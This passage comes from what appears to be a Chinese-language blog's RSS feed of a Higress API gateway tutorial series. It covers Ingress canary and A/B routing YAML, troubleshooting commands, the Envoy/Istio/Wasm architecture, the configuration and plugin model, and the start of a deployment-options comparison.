      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-prod
                port:
                  number: 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;案例 2：A/B 测试&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 版本 A（80%）
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: ab-test-a
  annotations:
    higress.io/canary: &quot;true&quot;
    higress.io/canary-weight: &quot;80&quot;
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-version-a
                port:
                  number: 8080

---
# 版本 B（20%）
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: ab-test-b
  annotations:
    higress.io/canary: &quot;true&quot;
    higress.io/canary-weight: &quot;20&quot;
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /api
            pathType: Prefix
            backend:
              service:
                name: api-version-b
                port:
                  number: 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;案例 3：API 版本管理&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# v1 API（旧版本，兼容）
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-v1
  annotations:
    higress.io/rewrite-target: /$1
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /v1/(.*)
            pathType: ImplementationSpecific
            backend:
              service:
                name: api-legacy
                port:
                  number: 8080

---
# v2 API（新版本）
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: api-v2
  annotations:
    higress.io/rewrite-target: /$1
spec:
  ingressClassName: higress
  rules:
    - host: api.example.com
      http:
        paths:
          - path: /v2/(.*)
            pathType: ImplementationSpecific
            backend:
              service:
                name: api-new
                port:
                  number: 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;常见问题&lt;/h2&gt;
&lt;h3&gt;Q1: Ingress 配置不生效&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. 检查 Ingress 状态
kubectl get ingress -n default
kubectl describe ingress demo-ingress -n default

# 2. 检查 Higress Controller 日志
kubectl logs -n higress-system deploy/higress-controller

# 3. 确认 ingressClassName
spec:
  ingressClassName: higress   # 必须是 higress

# 4. 确认 Service 存在且 Endpoint 正常
kubectl get svc httpbin -n default
kubectl get endpoints httpbin -n default
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q2: 路由匹配顺序混乱&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 查看 Envoy 实际路由配置
kubectl exec -n higress-system deploy/higress-gateway -- \
  curl -s localhost:15000/config_dump | jq &apos;.configs[] | select(.[&quot;@type&quot;]==&quot;type.googleapis.com/envoy.admin.v3.RoutesConfigDump&quot;)&apos;

# 简化排查：用 curl -v 看响应头
curl -v -H &quot;Host: api.example.com&quot; http://&amp;lt;gateway-ip&amp;gt;/api/v1/users
# 查看 X-Envoy-Upstream-Service-Time 等 Header 确认路由到了哪个服务
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q3: 正则路径不生效&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 必须加注解
annotations:
  higress.io/use-regex: &quot;true&quot;

# pathType 必须是 ImplementationSpecific
pathType: ImplementationSpecific

# 路径用正则语法
path: /api/(.*)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;快速复习清单&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;两种路由标准&lt;/strong&gt;：Ingress（兼容）、Gateway API（推荐新项目）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;路径匹配&lt;/strong&gt;：Exact（精确）、Prefix（前缀）、ImplementationSpecific（正则）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;高级匹配&lt;/strong&gt;：Header（&lt;code&gt;higress.io/header-match&lt;/code&gt;）、Query（&lt;code&gt;higress.io/query-match&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;权重路由&lt;/strong&gt;：&lt;code&gt;higress.io/canary-weight: &quot;20&quot;&lt;/code&gt;（灰度发布）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;路径改写&lt;/strong&gt;：&lt;code&gt;higress.io/rewrite-target: /v2/$1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;重定向&lt;/strong&gt;：&lt;code&gt;higress.io/permanent-redirect&lt;/code&gt;（301）/ &lt;code&gt;temporal-redirect&lt;/code&gt;（302）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;超时重试&lt;/strong&gt;：&lt;code&gt;request-timeout&lt;/code&gt;、&lt;code&gt;retry-count&lt;/code&gt;、&lt;code&gt;retry-on: 5xx,reset&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CORS&lt;/strong&gt;：&lt;code&gt;enable-cors&lt;/code&gt;、&lt;code&gt;cors-allow-origin/methods/headers&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优先级&lt;/strong&gt;：精确 &amp;gt; 最长前缀 &amp;gt; 正则 &amp;gt; Header/Query &amp;gt; 权重&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/higress-roadmap-04-service-discovery/&quot;&gt;服务发现&lt;/a&gt; 将讲解如何对接 K8s/Nacos/Consul/Eureka/DNS/静态服务，实现动态服务发现。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/higress-roadmap-00-overview/&quot;&gt;Higress 学习路线总览&lt;/a&gt; | &lt;a href=&quot;/blog/higress-roadmap/&quot;&gt;合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Higress 核心概念</title><link>http://117.72.32.87/blog/posts/higress-roadmap-02-core-concepts/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/higress-roadmap-02-core-concepts/</guid><description>深入理解 Higress 架构：Envoy/Istio/Wasm 的关系、数据面与控制面分离、路由/服务/域名/插件模型、配置下发机制。</description><pubDate>Thu, 17 Sep 2026 03:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
理解核心概念是掌握 Higress 的关键。本文从架构分层、组件关系、配置模型三个维度拆解 Higress 的设计哲学。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;Higress 架构全景&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;┌─────────────────────────────────────────────────────────┐
│                    Higress Console                       │
│              （Web UI / 配置管理 / 监控）                 │
└──────────────────────┬──────────────────────────────────┘
                       │ 配置下发（gRPC/xDS）
                       ▼
┌─────────────────────────────────────────────────────────┐
│              Higress Controller（控制面）                 │
│  ┌─────────────┐  ┌─────────────┐  ┌─────────────────┐ │
│  │  Ingress    │  │  Gateway    │  │   WasmPlugin    │ │
│  │ Controller  │  │ API Ctrl    │  │   Controller    │ │
│  └─────────────┘  └─────────────┘  └─────────────────┘ │
│  ┌─────────────────────────────────────────────────────┐│
│  │         Istio Pilot（配置转换 + xDS 下发）           ││
│  └─────────────────────────────────────────────────────┘│
└──────────────────────┬──────────────────────────────────┘
                       │ xDS 协议（LDS/RDS/CDS/EDS）
                       ▼
┌─────────────────────────────────────────────────────────┐
│              Higress Gateway（数据面）                    │
│  ┌─────────────────────────────────────────────────────┐│
│  │                    Envoy Proxy                       ││
│  │  ┌─────────┐  ┌─────────┐  ┌─────────────────────┐ ││
│  │  │Listener │→ │ Route   │→ │  Cluster (Upstream) │ ││
│  │  └─────────┘  └─────────┘  └─────────────────────┘ ││
│  │  ┌─────────────────────────────────────────────────┐││
│  │  │         Wasm Sandbox（插件运行时）               │││
│  │  │  ┌────────┐ ┌────────┐ ┌────────┐              │││
│  │  │  │ JWT    │ │ Rate   │ │ Custom │  ...         │││
│  │  │  │ Plugin │ │ Limit  │ │ Plugin │              │││
│  │  │  └────────┘ └────────┘ └────────┘              │││
│  │  └─────────────────────────────────────────────────┘││
│  └─────────────────────────────────────────────────────┘│
└─────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;核心组件详解&lt;/h2&gt;
&lt;h3&gt;1. Envoy（数据面内核）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Envoy 是什么&lt;/strong&gt;：Lyft 开源的高性能 C++ 代理，CNCF 毕业项目，Istio 默认数据面。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;核心能力&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;L4/L7 代理（TCP/HTTP/HTTP2/gRPC）&lt;/li&gt;
&lt;li&gt;动态配置（xDS API，无需重启）&lt;/li&gt;
&lt;li&gt;可观测性（内置 Metrics/Tracing/Logging）&lt;/li&gt;
&lt;li&gt;扩展性（Wasm/Lua/原生 C++ Filter）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Envoy 核心概念&lt;/strong&gt;：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;概念&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;th&gt;Higress 对应&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Listener&lt;/td&gt;
&lt;td&gt;监听端口，接收连接&lt;/td&gt;
&lt;td&gt;Gateway 端口（80/443）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Route&lt;/td&gt;
&lt;td&gt;路由规则，匹配请求&lt;/td&gt;
&lt;td&gt;Ingress/Gateway API 路由&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cluster&lt;/td&gt;
&lt;td&gt;上游服务集群&lt;/td&gt;
&lt;td&gt;Service（K8s/Nacos/DNS）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Endpoint&lt;/td&gt;
&lt;td&gt;Cluster 中的具体实例&lt;/td&gt;
&lt;td&gt;Pod IP / 服务实例&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Filter&lt;/td&gt;
&lt;td&gt;请求/响应处理链&lt;/td&gt;
&lt;td&gt;Wasm 插件&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;xDS 协议族&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LDS (Listener Discovery Service)  → 发现监听器配置
RDS (Route Discovery Service)     → 发现路由规则
CDS (Cluster Discovery Service)   → 发现上游集群
EDS (Endpoint Discovery Service)  → 发现集群端点
SDS (Secret Discovery Service)    → 发现 TLS 证书
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. Istio（控制面基座）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Istio 是什么&lt;/strong&gt;：CNCF 服务网格项目，提供流量管理、安全、可观测性。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Higress 为什么用 Istio&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;复用 Istio Pilot 的配置转换能力（K8s CRD → Envoy xDS）&lt;/li&gt;
&lt;li&gt;复用 Istio 的服务发现（K8s Service Registry）&lt;/li&gt;
&lt;li&gt;复用 Istio 的证书管理（Citadel）&lt;/li&gt;
&lt;li&gt;避免重复造轮子&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Higress 对 Istio 的裁剪&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;去掉 Sidecar 注入（网关场景不需要）&lt;/li&gt;
&lt;li&gt;去掉 Mixer（性能瓶颈，已废弃）&lt;/li&gt;
&lt;li&gt;保留 Pilot（配置下发核心）&lt;/li&gt;
&lt;li&gt;扩展 WasmPlugin CRD（Istio 原生不支持）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. Wasm（扩展机制）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Wasm 是什么&lt;/strong&gt;：WebAssembly，二进制指令格式，沙箱隔离，多语言支持。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;为什么用 Wasm 而不是 Lua/原生 Filter&lt;/strong&gt;：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;维度&lt;/th&gt;
&lt;th&gt;Wasm&lt;/th&gt;
&lt;th&gt;Lua&lt;/th&gt;
&lt;th&gt;原生 C++ Filter&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;语言&lt;/td&gt;
&lt;td&gt;Go/Rust/AssemblyScript/C++&lt;/td&gt;
&lt;td&gt;Lua&lt;/td&gt;
&lt;td&gt;C++&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;沙箱&lt;/td&gt;
&lt;td&gt;✅ 强隔离&lt;/td&gt;
&lt;td&gt;⚠️ 弱隔离&lt;/td&gt;
&lt;td&gt;❌ 无隔离&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;热更新&lt;/td&gt;
&lt;td&gt;✅ 不停机&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌ 需重编译&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;性能&lt;/td&gt;
&lt;td&gt;~原生 80-90%&lt;/td&gt;
&lt;td&gt;~原生 50%&lt;/td&gt;
&lt;td&gt;100%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;生态&lt;/td&gt;
&lt;td&gt;快速增长&lt;/td&gt;
&lt;td&gt;成熟&lt;/td&gt;
&lt;td&gt;门槛高&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;安全性&lt;/td&gt;
&lt;td&gt;内存隔离&lt;/td&gt;
&lt;td&gt;可能崩溃 Envoy&lt;/td&gt;
&lt;td&gt;可能崩溃 Envoy&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Proxy-Wasm 规范&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Envoy 官方的 Wasm 扩展标准&lt;/li&gt;
&lt;li&gt;定义宿主（Envoy）与插件（Wasm）的 ABI 接口&lt;/li&gt;
&lt;li&gt;插件通过 SDK 调用宿主能力（读 Header、发 HTTP 请求、写日志等）&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Higress 配置模型&lt;/h2&gt;
&lt;h3&gt;四层配置对象&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌─────────────────────────────────────────┐
│  Domain（域名）                          │
│  ├── Route（路由规则）                   │
│  │   ├── Match（匹配条件）               │
│  │   │   ├── Path（路径）                │
│  │   │   ├── Header（请求头）            │
│  │   │   └── Query（查询参数）           │
│  │   └── Action（动作）                  │
│  │       ├── Forward（转发到服务）        │
│  │       ├── Redirect（重定向）          │
│  │       └── Rewrite（改写）             │
│  └── Plugin（插件配置）                  │
│      ├── 全局级                          │
│      ├── 域名级                          │
│      ├── 路由级                          │
│      └── 服务级                          │
└─────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;配置优先级&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;路由级 &amp;gt; 域名级 &amp;gt; 服务级 &amp;gt; 全局级

示例：
- 全局配置限流 1000 QPS
- 域名 api.example.com 配置限流 500 QPS
- 路由 /api/v1/* 配置限流 100 QPS
- 路由 /api/v2/* 配置限流 200 QPS

最终生效：
/api/v1/* → 100 QPS（路由级覆盖）
/api/v2/* → 200 QPS（路由级覆盖）
其他 api.example.com 路径 → 500 QPS（域名级）
其他域名 → 1000 QPS（全局级）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;CRD 资源类型&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;CRD&lt;/th&gt;
&lt;th&gt;作用&lt;/th&gt;
&lt;th&gt;对应 K8s 资源&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Ingress&lt;/td&gt;
&lt;td&gt;路由规则（兼容 K8s 标准）&lt;/td&gt;
&lt;td&gt;networking.k8s.io/v1 Ingress&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gateway API&lt;/td&gt;
&lt;td&gt;路由规则（新一代标准）&lt;/td&gt;
&lt;td&gt;gateway.networking.k8s.io&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;McpBridge&lt;/td&gt;
&lt;td&gt;服务发现配置&lt;/td&gt;
&lt;td&gt;Higress 自定义&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WasmPlugin&lt;/td&gt;
&lt;td&gt;Wasm 插件配置&lt;/td&gt;
&lt;td&gt;extensions.higress.io/v1alpha1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ConfigMap&lt;/td&gt;
&lt;td&gt;全局配置&lt;/td&gt;
&lt;td&gt;v1 ConfigMap&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;配置下发流程&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;用户操作
   │
   ▼
Higress Console（Web UI）
   │
   ▼ 写入 K8s CRD（Ingress/WasmPlugin/McpBridge）
   │
   ▼
Higress Controller（监听 CRD 变化）
   │
   ▼ 转换为 Envoy 配置（xDS）
   │
   ▼ gRPC 推送到 Higress Gateway
   │
   ▼
Envoy 动态加载配置（无需重启）
   │
   ▼ 生效
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;关键特性&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;声明式配置&lt;/strong&gt;：用户写 CRD，Controller 负责转换&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;动态下发&lt;/strong&gt;：配置变更秒级生效，无需重启网关&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;最终一致性&lt;/strong&gt;：Controller 持续 reconcile，确保配置同步&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;服务发现模型&lt;/h2&gt;
&lt;h3&gt;支持的服务来源&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类型&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;th&gt;配置方式&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;K8s Service&lt;/td&gt;
&lt;td&gt;原生 K8s 服务发现&lt;/td&gt;
&lt;td&gt;自动（无需配置）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Nacos&lt;/td&gt;
&lt;td&gt;阿里开源注册中心&lt;/td&gt;
&lt;td&gt;McpBridge CRD&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Consul&lt;/td&gt;
&lt;td&gt;HashiCorp 服务发现&lt;/td&gt;
&lt;td&gt;McpBridge CRD&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Eureka&lt;/td&gt;
&lt;td&gt;Netflix 服务发现&lt;/td&gt;
&lt;td&gt;McpBridge CRD&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DNS&lt;/td&gt;
&lt;td&gt;域名解析&lt;/td&gt;
&lt;td&gt;McpBridge CRD&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;静态&lt;/td&gt;
&lt;td&gt;手动配置 IP:Port&lt;/td&gt;
&lt;td&gt;McpBridge CRD&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;McpBridge 示例&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;apiVersion: networking.higress.io/v1
kind: McpBridge
metadata:
  name: default
  namespace: higress-system
spec:
  registries:
    - name: nacos-registry
      type: nacos
      nacosGroups:
        - DEFAULT_GROUP
      nacosServer: nacos.nacos.svc.cluster.local:8848
    
    - name: dns-registry
      type: dns
      domain: api.example.com
      port: 443
      protocol: https
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;插件模型&lt;/h2&gt;
&lt;h3&gt;插件生命周期&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;请求进入 Envoy
   │
   ▼
Listener Filter（L4）
   │
   ▼
HTTP Filter Chain（L7）
   │
   ├── Wasm Plugin 1（如：JWT 认证）
   │      ├── OnHttpRequestHeaders
   │      ├── OnHttpRequestBody
   │      └── OnHttpResponseHeaders
   │
   ├── Wasm Plugin 2（如：限流）
   │      └── OnHttpRequestHeaders
   │
   └── Router Filter（转发到上游）
   │
   ▼
上游服务响应
   │
   ▼
Wasm Plugin（OnHttpResponse*）
   │
   ▼
返回客户端
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;插件钩子函数&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;钩子&lt;/th&gt;
&lt;th&gt;触发时机&lt;/th&gt;
&lt;th&gt;典型用途&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;OnHttpRequestHeaders&lt;/td&gt;
&lt;td&gt;收到请求头&lt;/td&gt;
&lt;td&gt;认证、限流、路由改写&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OnHttpRequestBody&lt;/td&gt;
&lt;td&gt;收到请求体&lt;/td&gt;
&lt;td&gt;内容审核、数据校验&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OnHttpResponseHeaders&lt;/td&gt;
&lt;td&gt;收到响应头&lt;/td&gt;
&lt;td&gt;添加 Header、日志&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OnHttpResponseBody&lt;/td&gt;
&lt;td&gt;收到响应体&lt;/td&gt;
&lt;td&gt;响应改写、脱敏&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OnLog&lt;/td&gt;
&lt;td&gt;请求完成&lt;/td&gt;
&lt;td&gt;访问日志、Metrics&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;与传统网关对比&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;维度&lt;/th&gt;
&lt;th&gt;Nginx&lt;/th&gt;
&lt;th&gt;Spring Cloud Gateway&lt;/th&gt;
&lt;th&gt;Higress&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;内核&lt;/td&gt;
&lt;td&gt;C（Nginx）&lt;/td&gt;
&lt;td&gt;Java（Netty）&lt;/td&gt;
&lt;td&gt;C++（Envoy）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;配置&lt;/td&gt;
&lt;td&gt;nginx.conf（静态）&lt;/td&gt;
&lt;td&gt;YAML（需重启）&lt;/td&gt;
&lt;td&gt;CRD（动态下发）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;扩展&lt;/td&gt;
&lt;td&gt;Lua/C Module&lt;/td&gt;
&lt;td&gt;Java Filter&lt;/td&gt;
&lt;td&gt;Wasm（多语言）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;服务发现&lt;/td&gt;
&lt;td&gt;手动/DNS&lt;/td&gt;
&lt;td&gt;Eureka/Nacos&lt;/td&gt;
&lt;td&gt;K8s/Nacos/Consul/DNS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;热更新&lt;/td&gt;
&lt;td&gt;reload（短暂中断）&lt;/td&gt;
&lt;td&gt;需重启&lt;/td&gt;
&lt;td&gt;xDS（无中断）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;可观测性&lt;/td&gt;
&lt;td&gt;需额外模块&lt;/td&gt;
&lt;td&gt;Spring Actuator&lt;/td&gt;
&lt;td&gt;内置 Metrics/Tracing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;云原生&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;⚠️ 部分&lt;/td&gt;
&lt;td&gt;✅ K8s 原生&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;性能&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐⭐&lt;/td&gt;
&lt;td&gt;⭐⭐⭐&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐⭐&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;快速复习清单&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;架构分层&lt;/strong&gt;：Console（UI）→ Controller（控制面）→ Gateway（数据面/Envoy）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;三大内核&lt;/strong&gt;：Envoy（代理）、Istio（配置转换）、Wasm（扩展）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;xDS 协议&lt;/strong&gt;：LDS/RDS/CDS/EDS/SDS，动态配置无需重启&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;配置模型&lt;/strong&gt;：Domain → Route → Plugin，优先级：路由级 &amp;gt; 域名级 &amp;gt; 服务级 &amp;gt; 全局级&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CRD 资源&lt;/strong&gt;：Ingress/Gateway API（路由）、McpBridge（服务发现）、WasmPlugin（插件）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;服务发现&lt;/strong&gt;：K8s/Nacos/Consul/Eureka/DNS/静态，通过 McpBridge 配置&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;插件钩子&lt;/strong&gt;：OnHttpRequestHeaders/Body、OnHttpResponseHeaders/Body、OnLog&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;vs 传统网关&lt;/strong&gt;：动态配置、Wasm 多语言扩展、K8s 原生、内置可观测性&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/higress-roadmap-03-routing/&quot;&gt;路由配置&lt;/a&gt; 将详细讲解 Ingress/Gateway API 路由规则、域名/路径/Header/Query 匹配、权重路由、路径改写等实战配置。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/higress-roadmap-00-overview/&quot;&gt;Higress 学习路线总览&lt;/a&gt; | &lt;a href=&quot;/blog/higress-roadmap/&quot;&gt;合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Higress 环境搭建</title><link>http://117.72.32.87/blog/posts/higress-roadmap-01-env-setup/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/higress-roadmap-01-env-setup/</guid><description>讲解 Higress 的三种部署方式：Docker Compose 快速体验、Kubernetes Helm 生产部署、本地开发环境搭建，以及 Higress Console 的使用。</description><pubDate>Thu, 17 Sep 2026 02:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文讲解 Higress 的三种部署方式，从快速体验到生产级部署，覆盖不同场景需求。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;部署方式对比&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方式&lt;/th&gt;
&lt;th&gt;适用场景&lt;/th&gt;
&lt;th&gt;复杂度&lt;/th&gt;
&lt;th&gt;生产可用&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Docker Compose&lt;/td&gt;
&lt;td&gt;本地体验、开发测试&lt;/td&gt;
&lt;td&gt;⭐&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kubernetes + Helm&lt;/td&gt;
&lt;td&gt;生产环境、云原生&lt;/td&gt;
&lt;td&gt;⭐⭐⭐&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;本地源码编译&lt;/td&gt;
&lt;td&gt;插件开发、二次开发&lt;/td&gt;
&lt;td&gt;⭐⭐⭐⭐&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
